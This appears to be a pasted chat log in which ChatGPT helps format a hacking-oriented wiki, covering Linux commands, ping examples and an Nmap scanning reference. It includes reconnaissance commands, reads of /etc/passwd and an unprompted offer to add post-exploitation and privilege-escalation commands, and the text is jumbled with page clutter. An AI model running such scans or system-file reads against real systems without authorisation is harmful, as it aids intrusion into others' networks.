64 bytes from 142.250.74.14: icmp_seq=3 ttl=117 time=12.1 ms

64 bytes from 142.250.74.14: icmp_seq=4 ttl=117 time=11.8 ms


--- google.com ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3005ms

[/terminal]

[/box]


[box]

[box-title]ping -i 0.5 8.8.8.8[/box-title]

[txt]Ping a host with 0.5 second interval[/txt]

[terminal]

$ ping -i 0.5 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

64 bytes from 8.8.8.8: icmp_seq=1 ttl=118 time=14.6 ms

64 bytes from 8.8.8.8: icmp_seq=2 ttl=118 time=14.5 ms

[/terminal]

[/box]


[box]

[box-title]ping -t 5 example.com[/box-title]

[txt]Set the TTL (time-to-live) value to 5[/txt]

[terminal]

$ ping -t 5 example.com

PING example.com (93.184.216.34) 56(84) bytes of data.

64 bytes from 93.184.216.34: icmp_seq=1 ttl=5 time=30.2 ms

[/terminal]

[/box]


[box]

[box-title]ping -W 2 example.com[/box-title]

[txt]Wait up to 2 seconds for a reply[/txt]

[terminal]

$ ping -W 2 example.com

PING example.com (93.184.216.34) 56(84) bytes of data.

64 bytes from 93.184.216.34: icmp_seq=1 ttl=54 time=28.1 ms

[/terminal]

[/box]


[box]

[box-title]ping -s 1000 example.com[/box-title]

[txt]Send packets with 1000 bytes of data[/txt]

[terminal]

$ ping -s 1000 example.com

PING example.com (93.184.216.34) 1000(1028) bytes of data.

1008 bytes from 93.184.216.34: icmp_seq=1 ttl=54 time=29.7 ms

[/terminal]

[/box]


[box]

[box-title]ping -q -c 2 example.org[/box-title]

[txt]Send 2 packets quietly and show only summary[/txt]

[terminal]

$ ping -q -c 2 example.org

PING example.org (93.184.216.34): 56 data bytes


--- example.org ping statistics ---

2 packets transmitted, 2 received, 0% packet loss

[/terminal]

[/box]


[box]

[box-title]ping -D example.com[/box-title]

[txt]Print timestamp before each output line[/txt]

[terminal]

$ ping -D example.com

[1683390000.123456] 64 bytes from 93.184.216.34: icmp_seq=1 ttl=54 time=28.6 ms

[/terminal]

[/box]


[box]

[box-title]ping -4 google.com[/box-title]

[txt]Force use of IPv4 for the ping[/txt]

[terminal]

$ ping -4 google.com

PING google.com (142.250.74.14) 56(84) bytes of data.

64 bytes from 142.250.74.14: icmp_seq=1 ttl=117 time=12.1 ms

[/terminal]

[/box]


[box]

[box-title]ping -6 ipv6.google.com[/box-title]

[txt]Force use of IPv6 for the ping[/txt]

[terminal]

$ ping -6 ipv6.google.com

PING ipv6.google.com(2a00:1450:4009:821::200e) 56 data bytes

64 bytes from 2a00:1450:4009:821::200e: icmp_seq=1 ttl=56 time=21.5 ms

[/terminal]

[/box]


17

grep

Search for a specific pattern in file content.

grep PATTERN FILE

Text Processing


16

df

Show available and used disk space.

df -h

System Information


15

chmod

Modify access permissions of files and directories.

chmod MODE FILE

Permissions


14

id

Show the ID information of the current user or another user.

id [USERNAME]

User Management


13

whoami

Show the username of the current user.

whoami

User Management


12

mv

Move or rename a file or directory.

mv SOURCE DEST

File Operations


11

cp

Copy files or directories to a new location.

cp SOURCE DEST

File Operations


10

tail

Show the last lines of a file.

tail FILE

File Operations


9

head

Show the first lines of a file.

head FILE

File Operations


8

less

View the content of large files one screen at a time.

less FILE

File Operations


7

cat

View the content of a file.

cat FILE

File Operations


6

rm

Delete files or directories.

rm [OPTIONS] FILE...

File Operations


5

rmdir

Delete an empty directory.

rmdir DIRECTORY

Navigation


4

mkdir

Create a new directory.

mkdir [OPTIONS] DIRECTORY

Navigation


3

cd

Change the current working directory.

cd [DIRECTORY]

Navigation


2

pwd

Print working directory.

pwd [OPTIONS]

Navigation

hello

1

ls

List directory contents.

ls [OPTIONS] [FILE]...

Navigation

[title]Options[/title]

 [list]
 [li]-L : prints the logical current directory (default)[/li]
 [li]-P : prints the physical directory, resolving symlinks[/li]

ChatGPT said:

Linux-kommandoene er nå strukturert i wiki-format med samme stil og oppdeling som du brukte for Nmap. Seksjoner dekker navigasjon, filoperasjoner, nettverksverktøy, tekstsøk og dokumentasjon – med konkrete kommandoer og eksempler.

Vil du at jeg legger til flere avanserte kommandoer for post-exploitation eller privilege escalation også? You said: jeg vil at det skal settes opp på samme måte, der examples er en egen "bås" og når man trykker på kommandoen så linkes det opp som det gjøres i nmap - her ser vi også at i hvert eksempel er det mulighet for å klikke seg tilbake opp til kommandoene

Nmap

Nmap (Network Mapper) is an open‑source utility for network discovery, security auditing, and host fingerprinting. It is one of the most widely used tools in active reconnaissance, offering port scanning, OS detection, service versioning, and a powerful scripting interface (Nmap Scripting Engine – NSE).

Common Options

Scan Types

Option Description
-sS TCP SYN scan (stealth mode)
-sT TCP connect scan (full handshake)
-sU Scan UDP ports
-sP Ping scan to discover live hosts (alias for -sn)
-sL List targets without scanning

Host Discovery & Targeting

Option Description
-Pn Treat all hosts as online (skip ping)
-p [PORT] Specify port(s) to scan
-iL [FILE] Input list of hosts from file
-6 Use IPv6 addresses
-n Do not resolve hostnames (skip DNS resolution)
--exclude [HOST] Exclude specific host(s) from the scan
--excludefile [FILE] Exclude hosts listed in a file


Detection & Enumeration

Option Description
-sV Detect service versions
-O Enable OS detection
-A Aggressive scan: OS detection, version, script scan, traceroute
--script [NAME] Run specific NSE script(s)
--version-all Try every version detection method (used with -sV)
--osscan-guess Guess OS more aggressively when uncertain

Performance & Output

Option Description
-T[0‒5] Timing template (T0 = slow, T5 = fast)
-d Enable debugging output
-oN [FILE] Save output in normal format
-oX [FILE] Save output in XML format
-v Increase verbosity (can be stacked: -vv, -vvv)
--reason Show the reason each port is in its state (e.g. response flags)
--open Show only open (or relevant) ports

Examples

SYN Scan

nmap -sS 192.168.1.1

↑ Options

TCP Connect Scan

nmap -sT 192.168.1.1

↑ Options

UDP Scan

nmap -sU 192.168.1.1

↑ Options

Ping Scan

nmap -sP 192.168.1.0/24

↑ Options

Skip Host Discovery

nmap -Pn 192.168.1.100

↑ Options

Scan Specific Ports

nmap -p 22,80 192.168.1.1

↑ Options

Aggressive Scan

nmap -A 10.0.0.1

↑ Options

OS Detection Only

nmap -O 10.0.0.1

↑ Options

Fast Timing Template

nmap -T5 example.com

↑ Options

Run NSE Script

nmap --script default example.com

↑ Options

Scan From File

nmap -iL targets.txt

↑ Options

Save Output (Normal)

nmap -oN output.txt 192.168.1.1

↑ Options

Save Output (XML)

nmap -oX output.xml 192.168.1.1

↑ Options

List Targets Only

nmap -sL 192.168.1.0/30

↑ Options

Debug Mode

nmap -d 192.168.1.1

↑ Options

See Also

ChatGPT said:


ChatGPT can make mistakes. Check important info. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125

Linux Commands

Linux command-line tools are the building blocks of interaction, enumeration, file manipulation, and system control during any hacking operation. This page breaks down commonly used Linux commands, their usage, categories, and real-world hacking relevance.

Essential Commands

Navigation

Command Description Example
pwd Show current working directory pwd
cd Change directory cd /etc
mkdir Create directory mkdir testdir
rmdir Remove empty directory rmdir testdir

File Operations

Command Description Example
ls List contents ls -la
cat View file contents cat /etc/passwd
less Scrollable file viewer less file.txt
head Show first lines head -n 10 log.txt
tail Show last lines tail -f log.txt
cp Copy file cp file.txt /tmp/
mv Move or rename file mv old.txt new.txt
rm Delete file rm secrets.txt

User Management

Command Description Example
whoami Print current user whoami
id Show user/group ID id

Permissions

Command Description Example
chmod Change file permissions chmod 755 script.sh

System Info

Command Description Example
df -h Disk usage df -h

Networking

Connectivity Tools

Command Description Example
ping Send ICMP packets ping -c 4 google.com
curl Fetch URL/API data curl http://example.com
ssh Remote shell access ssh user@host

Search & Output Manipulation

Text Processing

Command Description Example
grep Search for patterns grep root /etc/passwd

Help & Documentation

Learning a Command

Command Description Example
man Show manual page man nmap
echo Output text echo "Hello" > out.txt
history Show command history history

Examples

SSH with Custom Port

ssh -p 2222 user@target

Fetch a Remote Web Page

curl http://example.com

Make Script Executable

chmod +x exploit.sh

Search for Usernames

grep /bin/bash /etc/passwd

See Also